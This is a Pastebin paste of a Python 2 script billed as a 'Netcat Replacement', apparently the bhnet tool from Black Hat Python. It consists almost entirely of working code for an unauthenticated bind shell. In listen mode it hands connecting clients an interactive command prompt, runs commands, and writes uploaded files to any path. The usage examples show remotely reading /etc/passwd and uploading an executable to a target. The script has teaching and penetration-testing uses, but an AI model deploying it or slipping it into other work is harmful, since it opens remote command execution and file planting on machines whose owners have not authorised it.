Advertisement
Guest User

./bhnet.py -l -p 9999 -c

a guest
Dec 22nd, 2014
565
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 8.44 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. import sys
  4. import socket
  5. import getopt
  6. import threading
  7. import subprocess
  8.  
  9.  
  10. # define some global variables
  11. listen             = False
  12. command            = False
  13. upload             = False
  14. execute            = ""
  15. target             = ""
  16. upload_destination = ""
  17. port               = 0
  18.  
  19. # this runs a command and returns the output
  20. def run_command(command):
  21.        
  22.         # trim the newline
  23.         command = command.rstrip()
  24.        
  25.         # run the command and get the output back
  26.         try:
  27.                 output = subprocess.check_output(command,stderr=subprocess.STDOUT, shell=True)
  28.         except:
  29.                 output = "Failed to execute command.\r\n"
  30.        
  31.         # send the output back to the client
  32.         return output
  33.  
  34. # this handles incoming client connections
  35. def client_handler(client_socket):
  36.         global upload
  37.         global execute
  38.         global command
  39.        
  40.         # check for upload
  41.         if len(upload_destination):
  42.                
  43.                 # read in all of the bytes and write to our destination
  44.                 file_buffer = ""
  45.                
  46.                 # keep reading data until none is available
  47.                 while True:
  48.                         data = client_socket.recv(1024)
  49.                        
  50.                         if not data:
  51.                                 break
  52.                         else:
  53.                                 file_buffer += data
  54.                                
  55.                 # now we take these bytes and try to write them out
  56.                 try:
  57.                         file_descriptor = open(upload_destination,"wb")
  58.                         file_descriptor.write(file_buffer)
  59.                         file_descriptor.close()
  60.                        
  61.                         # acknowledge that we wrote the file out
  62.                         client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
  63.                 except:
  64.                         client_socket.send("Failed to save file to %s\r\n" % upload_destination)
  65.                        
  66.                
  67.        
  68.         # check for command execution
  69.         if len(execute):
  70.                
  71.                 # run the command
  72.                 output = run_command(execute)
  73.                
  74.                 client_socket.send(output)
  75.        
  76.        
  77.         # now we go into another loop if a command shell was requested
  78.         if command:
  79.                
  80.                 while True:
  81.                         # show a simple prompt
  82.                         client_socket.send("<BHP:#> ")
  83.                        
  84.                         # now we receive until we see a linefeed (enter key)
  85.                         cmd_buffer = ""
  86.                         while "\n" not in cmd_buffer:
  87.                                 cmd_buffer += client_socket.recv(1024)
  88.                
  89.                        
  90.                         # we have a valid command so execute it and send back the results
  91.                         response = run_command(cmd_buffer)
  92.                        
  93.                         # send back the response
  94.                         client_socket.send(response)
  95.        
  96. # this is for incoming connections
  97. def server_loop():
  98.         global target
  99.         global port
  100.        
  101.         # if no target is defined we listen on all interfaces
  102.         if not len(target):
  103.                 target = "0.0.0.0"
  104.                
  105.         server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  106.         server.bind((target,port))
  107.        
  108.         server.listen(5)        
  109.        
  110.         while True:
  111.                 client_socket, addr = server.accept()
  112.                
  113.                 # spin off a thread to handle our new client
  114.                 client_thread = threading.Thread(target=client_handler,args=(client_socket,))
  115.                 client_thread.start()
  116.                
  117.  
  118. # if we don't listen we are a client....make it so.
  119. def client_sender(buffer):
  120.        
  121.         client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  122.                
  123.         try:
  124.                 # connect to our target host
  125.                 client.connect((target,port))
  126.                
  127.                 # if we detect input from stdin send it
  128.                 # if not we are going to wait for the user to punch some in
  129.                
  130.                 if len(buffer):
  131.                        
  132.                         client.send(buffer)
  133.                
  134.                 while True:
  135.                        
  136.                         # now wait for data back
  137.                         recv_len = 1
  138.                         response = ""
  139.                        
  140.                         while recv_len:
  141.                                 data     = client.recv(4096)
  142.                                 recv_len = len(data)
  143.                                 response+= data
  144.                                
  145.                                 if recv_len < 4096:
  146.                                         break
  147.                        
  148.                         print response,
  149.                        
  150.                         # wait for more input
  151.                         buffer = raw_input("")
  152.                         buffer += "\n"                        
  153.                        
  154.                         # send it off
  155.                         client.send(buffer)
  156.                        
  157.                
  158.         except:
  159.                 # just catch generic errors - you can do your homework to beef this up
  160.                 print "[*] Exception! Exiting."
  161.                
  162.                 # teardown the connection                  
  163.                 client.close()  
  164.                        
  165.                        
  166.        
  167.  
  168. def usage():
  169.         print "Netcat Replacement"
  170.         print
  171.         print "Usage: bhpnet.py -t target_host -p port"
  172.         print "-l --listen                - listen on [host]:[port] for incoming connections"
  173.         print "-e --execute=file_to_run   - execute the given file upon receiving a connection"
  174.         print "-c --command               - initialize a command shell"
  175.         print "-u --upload=destination    - upon receiving connection upload a file and write to [destination]"
  176.         print
  177.         print
  178.         print "Examples: "
  179.         print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
  180.         print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
  181.         print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
  182.         print "echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135"
  183.         sys.exit(0)
  184.  
  185.  
  186. def main():
  187.         global listen
  188.         global port
  189.         global execute
  190.         global command
  191.         global upload_destination
  192.         global target
  193.        
  194.         if not len(sys.argv[1:]):
  195.                 usage()
  196.                
  197.         # read the commandline options
  198.         try:
  199.                 opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])
  200.         except getopt.GetoptError as err:
  201.                 print str(err)
  202.                 usage()
  203.                
  204.                
  205.         for o,a in opts:
  206.                 if o in ("-h","--help"):
  207.                         usage()
  208.                 elif o in ("-l","--listen"):
  209.                         listen = True
  210.                 elif o in ("-e", "--execute"):
  211.                         execute = a
  212.                 elif o in ("-c", "--commandshell"):
  213.                         command = True
  214.                 elif o in ("-u", "--upload"):
  215.                         upload_destination = a
  216.                 elif o in ("-t", "--target"):
  217.                         target = a
  218.                 elif o in ("-p", "--port"):
  219.                         port = int(a)
  220.                 else:
  221.                         assert False,"Unhandled Option"
  222.        
  223.  
  224.         # are we going to listen or just send data from stdin
  225.         if not listen and len(target) and port > 0:
  226.                
  227.                 # read in the buffer from the commandline
  228.                 # this will block, so send CTRL-D if not sending input
  229.                 # to stdin
  230.                 buffer = sys.stdin.read()
  231.                
  232.                 # send data off
  233.                 client_sender(buffer)  
  234.        
  235.         # we are going to listen and potentially
  236.         # upload things, execute commands and drop a shell back
  237.         # depending on our command line options above
  238.         if listen:
  239.                 server_loop()
  240.  
  241. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement